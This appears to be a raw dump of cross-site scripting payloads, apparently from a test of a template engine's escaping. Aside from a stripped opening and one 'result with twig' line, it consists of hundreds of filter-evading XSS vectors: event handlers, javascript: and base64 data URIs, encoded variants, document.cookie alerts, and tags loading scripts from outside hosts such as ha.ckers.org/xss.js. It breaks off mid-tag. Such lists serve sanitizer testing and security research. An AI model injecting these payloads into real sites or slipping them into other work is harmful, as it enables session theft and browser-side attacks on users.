>OnMouseOver {Firefox & Opera}\\r\\n<marquee >^__^\\r\\n<div/>X</div> {IE7}\\r\\n<iframe// src=(1)\\r\\n//<form/action=()><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/ /*iframe/src*/>\\r\\n//|\\\\\\\\ //|\\\\\\\\ //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/>\\\'</font>/</style>\\r\\n<a/><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/>\\\'\\\'<svg>alert(1) {Opera}\\r\\n<a ><button>\\r\\n<div >DIV</div>\\r\\n<iframe >\\r\\n<a >X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var >On Mouse Over</var>\\r\\n<a >Click Here</a>\\r\\n<img >\\r\\n<%<!--\\\'%>\\r\\n\\r\\n<iframe/src \\\\/\\\\/ value=<><iframe/src=(1)\\r\\n<input type=\\\"text\\\" value=`` <div/>X</div>\\r\\nhttp://www.</iframe>\\r\\n<svg></iframe>\\r\\n<img >\\></object>\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;(1)\\\"/>\\r\\n<math><a >click\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs>\\\">X</a\\r\\n<iframe/ worksinIE>\\r\\na=\\\a & /=/\\r\\n\r\\n<object data=\\\alert(1)>\\r\\n\\r\\n<body/
alert(1)>\\r\\n/*\\r\\n<svg> alert(1)\\r\\n<a >ClickMe\\r\\n alert(1) 1=2\\r\\n<div/> style=\\\"x:\\\">\\r\\n<--`<img/> --!>\\>x</button>\\r\\n\\\"><img >\\r\\n<form><button >CLICKME\\r\\n<math><a >click\\r\\n<object data=PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\%(base64)s\\\">\\r\\n<embed src=\\\%(base64)s\\\">
result with twig: {{ xss.xss | escape }}:
<TABLE BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"width: expression(alert(\\\'XSS\\\'));\\\">\\r\\n<!--[if gte IE 4]><SCRIPT>alert(\\\'XSS\\\');</SCRIPT><![endif]-->\\r\\n<BASE HREF=\\\"javascript:alert(\\\'XSS\\\');//\\\">\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\\'\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>alert(\\\"XSS\\\")</SCRIPT>\\\'); ?>\\r\\n<IMG SRC=\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\">\\r\\n<META HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=<SCRIPT>alert(\\\'XSS\\\')</SCRIPT>\\\">\\r\\n<HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-alert(\\\'XSS\\\');+ADw-/SCRIPT+AD4-\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT =\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<A HREF=\\\"http://66.102.7.147/\\\">XSS</A>\\r\\n0\\\\\\\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>\\\"-confirm(3)-\\\"\\r\\nveris-->group<svg/onload=alert(/XSS/)//\\r\\n#\\\"><img src=M onerror=alert(\\\'XSS\\\');>\\r\\nelement[attribute=\\\'<img src=x onerror=alert(\\\'XSS\\\');>\\r\\n[<blockquote cite=\\\"]\\\">[\\\" onmouseover=\\\"alert(\\\'RVRSH3LL_XSS\\\');\\\" ]\\r\\n%22;alert%28%27RVRSH3LL_XSS%29//\\r\\njavascript:alert%281%29;\\r\\n<w contenteditable id=x onfocus=alert()>\\r\\nalert;pg(\\\"XSS\\\")\\r\\n<svg/onload=%26%23097lert%26lpar;1337)>\\r\\n<script>for((i)in(self))eval(i)(1)</script>\\r\\n<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>\\r\\n<sCR<script>iPt>alert(1)</SCr</script>IPt>\\r\\n<a href=\\\"data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=\\\">test</a>\\r\\n%253Cscript%253Ealert(\\\'XSS\\\')%253C%252Fscript%253E\\r\\n<IMG SRC=x onload=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onafterprint=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onbeforeprint=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onbeforeunload=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onerror=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onhashchange=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onload=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmessage=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ononline=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onoffline=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onpagehide=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onpageshow=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onpopstate=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onresize=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onstorage=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onunload=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onblur=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onchange=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oncontextmenu=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oninput=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oninvalid=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onreset=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onsearch=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onselect=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onsubmit=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onkeydown=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onkeypress=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onkeyup=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onclick=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondblclick=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmousedown=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmousemove=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmouseout=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmouseover=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmouseup=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onmousewheel=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onwheel=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondrag=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondragend=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondragenter=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondragleave=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondragover=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondragstart=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondrop=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onscroll=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oncopy=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oncut=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onpaste=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onabort=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oncanplay=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oncanplaythrough=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x oncuechange=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ondurationchange=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onemptied=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onended=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onerror=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onloadeddata=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onloadedmetadata=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onloadstart=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onpause=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onplay=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onplaying=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onprogress=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onratechange=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onseeked=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onseeking=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onstalled=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onsuspend=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ontimeupdate=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onvolumechange=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onwaiting=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x onshow=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<IMG SRC=x ontoggle=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow=\\\"alert(1)\\\";\\r\\n<IMG SRC=x onload=\\\"alert(String.fromCharCode(88,83,83))\\\">\\r\\n<INPUT TYPE=\\\"BUTTON\\\" action=\\\"alert(\\\'XSS\\\')\\\"/>\\r\\n\\\"><h1><IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\\">123</h1>\\r\\n\\\"><h1><IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>123</h1>\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>\\r\\n\\\"><h1><IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>123</h1>\\r\\n\\\"></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder=\\\"0%EF%BB%BF\\r\\n\\\"><h1><IFRAME width=\\\"420\\\" height=\\\"315\\\" SRC=\\\"http://www.youtube.com/embed/sxvccpasgTE\\\" frameborder=\\\"0\\\" onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>123</h1>\\r\\n\\\"><h1><iframe width=\\\"420\\\" height=\\\"315\\\" src=\\\"http://www.youtube.com/embed/sxvccpasgTE\\\" frameborder=\\\"0\\\" allowfullscreen></iframe>123</h1>\\r\\n><h1><IFRAME width=\\\"420\\\" height=\\\"315\\\" frameborder=\\\"0\\\" onmouseover=\\\"document.location.href=\\\'https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr\\r\\ng\\\'\\\"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250\\r\\n<IFRAME width=\\\"420\\\" height=\\\"315\\\" frameborder=\\\"0\\\" onload=\\\"alert(document.cookie)\\\"></IFRAME>\\r\\n\\\"><h1><IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\\">123</h1>\\r\\n\\\"><h1><IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>123</h1>\\r\\n<iframe src=http://xss.rocks/scriptlet.html <\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>\\r\\n<iframe src=\\\"	javascript:prompt(1)	\\\">\\r\\n<svg><style>{font-family:\\\'<iframe/onload=confirm(1)>\\\'\\r\\n<input/onmouseover=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n<sVg><scRipt >alert(1) {Opera}\\r\\n<img/src=`` onerror=this.onerror=confirm(1) \\r\\n<form><isindex formaction=\\\"javascript:confirm(1)\\\"\\r\\n<img src=``
 onerror=alert(1)
\\r\\n<script/	 src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' /	></script>\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n<iframe/src=\\\"data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n<script /**/>/**/alert(1)/**/</script /**/\\r\\n"><h1/onmouseover=\\\'\\\\u0061lert(1)\\\'>\\r\\n<iframe/src=\\\"data:text/html,<svg onload=alert(1)>\\\">\\r\\n<meta content=\\\"
 1 
; JAVASCRIPT: alert(1)\\\" http-equiv=\\\"refresh\\\"/>\\r\\n<svg><script xlink:href=data:,window.open(\\\'https://www.google.com/\\\') </script\\r\\n<svg><script x:href=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' {Opera}\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:confirm(1)\\\">\\r\\n<iframe src=javascript:alert(document.location)>\\r\\n<form><a href=\\\"javascript:\\\\u0061lert(1)\\\">X</script><img/*/src=\\\"worksinchrome:prompt(1)\\\"/*/onerror=\\\'eval(src)\\\'>\\r\\n<img/	  src=`~` onerror=prompt(1)>\\r\\n<form><iframe 	  src=\\\"javascript:alert(1)\\\" 	;>\\r\\n<a href=\\\"data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"	 >X</a\\r\\nhttp://www.google<script .com>alert(document.location)</script\\r\\n<a href=[�]\\\"� onmouseover=prompt(1)//\\\">XYZ</a\\r\\n<img/src=@  onerror = prompt(\\\'1\\\')\\r\\n<style/onload=prompt(\\\'XSS\\\')\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(\\r\\n�</form><input type=\\\"date\\\" onfocus=\\\"alert(1)\\\">\\r\\n<form><textarea onkeyup=\\\'\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(1)\\\'>\\r\\n<script /***/>/***/confirm(\\\'\\\\uFF41\\\\uFF4C\\\\uFF45\\\\uFF52\\\\uFF54\\\\u1455\\\\uFF11\\\\u1450\\\')/***/</script /***/\\r\\n<iframe srcdoc=\\\'<body onload=prompt(1)>\\\'>\\r\\n<a href=\\\"javascript:void(0)\\\" onmouseover=
javascript:alert(1)
>X</a>\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n<style/onload=<!--	> alert (1)>\\r\\n<///style///><span %2F onmousemove=\\\'alert(1)\\\'>SPAN\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' onmouseover=	prompt(1)\\r\\n"><svg><style>{-o-link-source:\\\'<body/onload=confirm(1)>\\\'\\r\\n <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}\\r\\n<marquee onstart=\\\'javascript:alert(1)\\\'>^__^\\r\\n<div/style=\\\"width:expression(confirm(1))\\\">X</div> {IE7}\\r\\n<iframe// src=javaSCRIPT:alert(1)\\r\\n//<form/action=javascript:alert(document.cookie)><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/onload=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/onload=this.onload=confirm(1)>\\\'</font>/</style>\\r\\n<a/href=\\\"javascript: javascript:prompt(1)\\\"><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/onmouseover=prompt(1)\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n<a href=\\\"javascript:\\\\u0061le%72t(1)\\\"><button>\\r\\n<div onmouseover=\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\">\\r\\n<a href=\\\"jAvAsCrIpT:alert(1)\\\">X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var onmouseover=\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a href=javascript:alert(document.cookie)>Click Here</a>\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"onerror=\\\'prompt(1)\\\'\\\">\\r\\n<%<!--\\\'%><script>alert(1);</script -->\\r\\n<script src=\\\"data:text/javascript,alert(1)\\\"></script>\\r\\n<iframe/src \\\\/\\\\/onload = prompt(1)\\r\\n<iframe/onreadystatechange=alert(1)\\r\\n<svg/onload=alert(1)\\r\\n<input value=<><iframe/src=javascript:confirm(1)\\r\\n<input type=\\\"text\\\" value=`` <div/onmouseover=\\\'alert(1)\\\'>X</div>\\r\\nhttp://www.<script>alert(1)</script .com\\r\\n<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>\\r\\n<svg><script ?>alert(1)\\r\\n<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>\\r\\n<img src=`xx:xx`onerror=alert(1)>\\r\\n<object type=\\\"text/x-scriptlet\\\" data=\\\"http://jsfiddle.net/XLE63/ \\\"></object>\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;javascript:alert(1)\\\"/>\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs><script>MsgBox+1\\r\\n<a href=\\\"data:text/html;base64_,<svg/onload=\\\\u0061le%72t(1)>\\\">X</a\\r\\n<iframe/onreadystatechange=\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(\\\'\\\\u0061\\\') worksinIE>\\r\\n<script>~\\\'\\\\u0061\\\' ; \\\\u0074\\\\u0068\\\\u0072\\\\u006F\\\\u0077 ~ \\\\u0074\\\\u0068\\\\u0069\\\\u0073. \\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(~\\\'\\\\u0061\\\')</script U+\\r\\n<script/src=\\\"data:text%2Fj\\\\u0061v\\\\u0061script,\\\\u0061lert(\\\'\\\\u0061\\\')\\\"></script a=\\\\u0061 & /=%2F\\r\\n<script/src=data:text/j\\\\u0061v\\\\u0061script,\\\\u0061%6C%65%72%74(/XSS/)></script\\r\\n<object data=javascript:\\\\u0061le%72t(1)>\\r\\n<script>+-+-1-+-+alert(1)</script>\\r\\n<body/onload=<!-->
alert(1)>\\r\\n<script itworksinallbrowsers>/*<script* */alert(1)</script\\r\\n<img src ?itworksonchrome?\\\\/onerror = alert(1)\\r\\n<svg><script>//
confirm(1);</script </svg>\\r\\n<svg><script onlypossibleinopera:-)> alert(1)\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n<script x> alert(1) </script 1=2\\r\\n<div/onmouseover=\\\'alert(1)\\\'> style=\\\"x:\\\">\\r\\n<--`<img/src=` onerror=alert(1)> --!>\\r\\n<script/src=data:text/javascript,alert(1)></script>\\r\\n<div style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\" onclick=\\\"alert(1)\\\">x</button>\\r\\n\\\"><img src=x onerror=window.open(\\\'https://www.google.com/\\\');>\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\\\"></iframe>\\r\\n<a href=\\\"data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​\\\">Click Me</a>\\r\\n<script\\\\x20type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x3Etype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Dtype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x09type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Ctype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x2Ftype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Atype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n\\\'`\\\"><\\\\x3Cscript>javascript:alert(1)</script> \\r\\n\\\'`\\\"><\\\\x00script>javascript:alert(1)</script>\\r\\n<img src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></img>\\r\\n<audio src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></audio>\\r\\n<video src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></video>\\r\\n<body src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></body>\\r\\n<image src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></image>\\r\\n<object src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></object>\\r\\n<script src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></script>\\r\\n<svg onResize svg onResize=\\\"javascript:javascript:alert(1)\\\"></svg onResize>\\r\\n<title onPropertyChange title onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></title onPropertyChange>\\r\\n<iframe onLoad iframe onLoad=\\\"javascript:javascript:alert(1)\\\"></iframe onLoad>\\r\\n<body onMouseEnter body onMouseEnter=\\\"javascript:javascript:alert(1)\\\"></body onMouseEnter>\\r\\n<body onFocus body onFocus=\\\"javascript:javascript:alert(1)\\\"></body onFocus>\\r\\n<frameset onScroll frameset onScroll=\\\"javascript:javascript:alert(1)\\\"></frameset onScroll>\\r\\n<script onReadyStateChange script onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></script onReadyStateChange>\\r\\n<html onMouseUp html onMouseUp=\\\"javascript:javascript:alert(1)\\\"></html onMouseUp>\\r\\n<body onPropertyChange body onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></body onPropertyChange>\\r\\n<svg onLoad svg onLoad=\\\"javascript:javascript:alert(1)\\\"></svg onLoad>\\r\\n<body onPageHide body onPageHide=\\\"javascript:javascript:alert(1)\\\"></body onPageHide>\\r\\n<body onMouseOver body onMouseOver=\\\"javascript:javascript:alert(1)\\\"></body onMouseOver>\\r\\n<body onUnload body onUnload=\\\"javascript:javascript:alert(1)\\\"></body onUnload>\\r\\n<body onLoad body onLoad=\\\"javascript:javascript:alert(1)\\\"></body onLoad>\\r\\n<bgsound onPropertyChange bgsound onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></bgsound onPropertyChange>\\r\\n<html onMouseLeave html onMouseLeave=\\\"javascript:javascript:alert(1)\\\"></html onMouseLeave>\\r\\n<html onMouseWheel html onMouseWheel=\\\"javascript:javascript:alert(1)\\\"></html onMouseWheel>\\r\\n<style onLoad style onLoad=\\\"javascript:javascript:alert(1)\\\"></style onLoad>\\r\\n<iframe onReadyStateChange iframe onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></iframe onReadyStateChange>\\r\\n<body onPageShow body onPageShow=\\\"javascript:javascript:alert(1)\\\"></body onPageShow>\\r\\n<style onReadyStateChange style onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></style onReadyStateChange>\\r\\n<frameset onFocus frameset onFocus=\\\"javascript:javascript:alert(1)\\\"></frameset onFocus>\\r\\n<applet onError applet onError=\\\"javascript:javascript:alert(1)\\\"></applet onError>\\r\\n<marquee onStart marquee onStart=\\\"javascript:javascript:alert(1)\\\"></marquee onStart>\\r\\n<script onLoad script onLoad=\\\"javascript:javascript:alert(1)\\\"></script onLoad>\\r\\n<html onMouseOver html onMouseOver=\\\"javascript:javascript:alert(1)\\\"></html onMouseOver>\\r\\n<html onMouseEnter html onMouseEnter=\\\"javascript:parent.javascript:alert(1)\\\"></html onMouseEnter>\\r\\n<body onBeforeUnload body onBeforeUnload=\\\"javascript:javascript:alert(1)\\\"></body onBeforeUnload>\\r\\n<html onMouseDown html onMouseDown=\\\"javascript:javascript:alert(1)\\\"></html onMouseDown>\\r\\n<marquee onScroll marquee onScroll=\\\"javascript:javascript:alert(1)\\\"></marquee onScroll>\\r\\n<xml onPropertyChange xml onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></xml onPropertyChange>\\r\\n<frameset onBlur frameset onBlur=\\\"javascript:javascript:alert(1)\\\"></frameset onBlur>\\r\\n<applet onReadyStateChange applet onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></applet onReadyStateChange>\\r\\n<svg onUnload svg onUnload=\\\"javascript:javascript:alert(1)\\\"></svg onUnload>\\r\\n<html onMouseOut html onMouseOut=\\\"javascript:javascript:alert(1)\\\"></html onMouseOut>\\r\\n<body onMouseMove body onMouseMove=\\\"javascript:javascript:alert(1)\\\"></body onMouseMove>\\r\\n<body onResize body onResize=\\\"javascript:javascript:alert(1)\\\"></body onResize>\\r\\n<object onError object onError=\\\"javascript:javascript:alert(1)\\\"></object onError>\\r\\n<body onPopState body onPopState=\\\"javascript:javascript:alert(1)\\\"></body onPopState>\\r\\n<html onMouseMove html onMouseMove=\\\"javascript:javascript:alert(1)\\\"></html onMouseMove>\\r\\n<applet onreadystatechange applet onreadystatechange=\\\"javascript:javascript:alert(1)\\\"></applet 